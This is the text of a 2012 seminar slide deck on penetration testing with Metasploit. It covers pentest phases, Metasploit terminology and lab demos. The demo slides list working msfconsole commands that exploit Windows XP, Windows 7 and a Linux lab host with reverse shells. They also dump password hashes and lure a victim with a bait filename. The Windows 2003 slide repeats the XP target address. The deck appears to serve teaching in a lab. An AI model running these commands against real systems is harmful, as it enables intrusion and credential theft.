Pentest with Metasploit

  1. 1. penetrationtesting withmetasploit Presented by Syarif ! Seminar IT Security Safe The System Sumedang, April 29 2012 STMIK Sumedang
  2. 2. Agenda • Why & What’s Penetration Testing ( Pentest ) • << back|track Overview • Metasploit Basics & Meterpreter • DEMO :)
  3. 3. Whoami • geek & Pentester • infosec trouble maker • InfoSec enthusiast • CyberCrime investigator • Lecture & Engineer
  4. 4. Why Pentest ? • Millions of dollars have been invested in security programs to protect critical infrastructure to prevent data breaches *1) • Penetration Test is one of the most effective ways to identify weaknesses and deficiencies in these programs *1)
  5. 5. What’s Penetration Testing • A method to evaluate the security of computer system / network • Practice ( attacking ) an IT System like a ‘hacker’ does • Find security holes ( weaknesses ) • Bypass security mechanism • Compromise an organization’s IT system security Must have permission from IT system owner ! illegal activity put you in Jail
  6. 6. Ethics • Think before act • Don’t be stupid • Don’t be malicious
  7. 7. Pentest Phases Vulnerability Analysis Information Gathering Exploitation Post Exploitation Reporting
  8. 8. << back|track overview • Let’s Watch theVideo :)
  9. 9. << back|track overview • . The Most Advanced Linux Security Distribution Open Source & Always be Developed for Security Professional Real World Pentesting Tools
  10. 10. << back|track overview
  11. 11. << back|track overview
  12. 12. What’s • Not just a tool, but an entire framework *1) • an Open source platform for writing security tools and exploits *2) • Easily build attack vectors to add its exploits, payloads, encoders, • Create and execute more advanced attack • Ruby based
  13. 13. Metasploit interfaces • MSFconsole • MSFcli • msfweb, msfgui ( discontinued ) • Metasploit Pro, Metasploit Express • Armitage
  14. 14. MSFconsole
  15. 15. MSFcli
  16. 16. Metasploit Terminology • Exploit : code that allow a pentester take some advantages of a flaw within system,application, or service *1) • Payload : code that we want the target system to execute ( few commands to be executed on the target system ) *1) • Shellcode : a set of instructions used as payload when exploitation occurs *1) • Module : a software that can be used by metasploit *1) • Listener : a component for waiting an incoming connection *1)
  17. 17. How does exploitation works attacker exploit + payload vulnerable server 1 exploit run , then payload run 2 3 Upload / Download data
  18. 18. Traditional PentestVs Metasploit Public Exploit Gathering Change offsets Replace ShellCode Load Metasploit Choose the target OS Use exploit SET Payload Execute Traditional Pentest Metasploit for Pentest
  19. 19. Meterpreter • as a payload after vulnerability is exploited *1) • Improve the post exploitation
  20. 20. Meterpreter Exploiting a vulnerability Select a meterpreter as a payload meterpreter shell
  21. 21. Meterpreter command
  22. 22. Meterpreter command
  23. 23. Meterpreter command
  24. 24. Meterpreter command
  25. 25. Meterpreter command
  26. 26. Pentest Scenario attacker vulnerable OS onVMware * : Ubuntu 8.04 metasploitable *
  27. 27. OS in the Lab • BackTrack 5 R 2 • IP address : 172.16.240.143 • Windows Xp SP 2 • IP address : 172.16.240.129 • Windows 2003 Server • IP address : 172.16.240.141 • Windows 7 • IP address : 172.16.240.142 • Ubuntu Linux 8.04 ( Metasploitable ) • IP address : 172.16.240.144
  28. 28. Windows XP Exploitation • msf > search windows/smb • msf > info exploit/windows/smb/ms08_067_netapi • msf > use exploit/windows/smb/ms08_067_netapi • msf exploit(ms08_067_netapi) > show payloads • msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp • msf exploit(ms08_067_netapi) > show options • msf exploit(ms08_067_netapi) > set RHOST 172.16.240.129 • msf exploit(ms08_067_netapi) > set LHOST 172.16.240.143 • msf exploit(ms08_067_netapi) > show options • msf exploit(ms08_067_netapi) > exploit • meterpreter > background • session -l
  29. 29. Windows XP Post Exploitation • session -i 1 • meterpreter > getsystem -h • getuid • hashdump
  30. 30. Windows 2003 Server Exploitation • msf > search windows/smb • msf > info exploit/windows/smb/ms08_067_netapi • msf > use exploit/windows/smb/ms08_067_netapi • msf exploit(ms08_067_netapi) > show payloads • msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp • msf exploit(ms08_067_netapi) > show options • msf exploit(ms08_067_netapi) > set RHOST 172.16.240.129 • msf exploit(ms08_067_netapi) > set LHOST 172.16.240.143 • msf exploit(ms08_067_netapi) > show options • msf exploit(ms08_067_netapi) > exploit • meterpreter > background • session -l
  31. 31. Windows 7 Exploitation • msf > use exploit/windows/browser/ms11_003_ie_css_import • msf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp • msf exploit(ms11_003_ie_css_import) > show options • msf exploit(ms11_003_ie_css_import) > set SRVHOST 172.16.240.143 • msf exploit(ms11_003_ie_css_import) > set SRVPORT 80 • msf exploit(ms11_003_ie_css_import) > set URIPATH miyabi-naked.avi • msf exploit(ms11_003_ie_css_import) > set LHOST 172.16.240.143 • msf exploit(ms11_003_ie_css_import) > set LPORT 443 • msf exploit(ms11_003_ie_css_import) > exploit Just wait until the victim open the url http://172.16.240.143:80/miyabi-naked.avi
  32. 32. Windows 7 Exploitation • msf exploit(ms11_003_ie_css_import) > sessions -l • msf exploit(ms11_003_ie_css_import) > sessions -i 1 • meterpreter > sysinfo • meterpreter > shell
  33. 33. Ubuntu 8.04 Metasploitable Exploitation • search distcc • use exploit/unix/misc/distcc_exec • show payloads • set PAYLOAD cmd/unix/reverse • show options • set rhost 172.16.240.144 • set lhost 172.16.240.143 • exploit
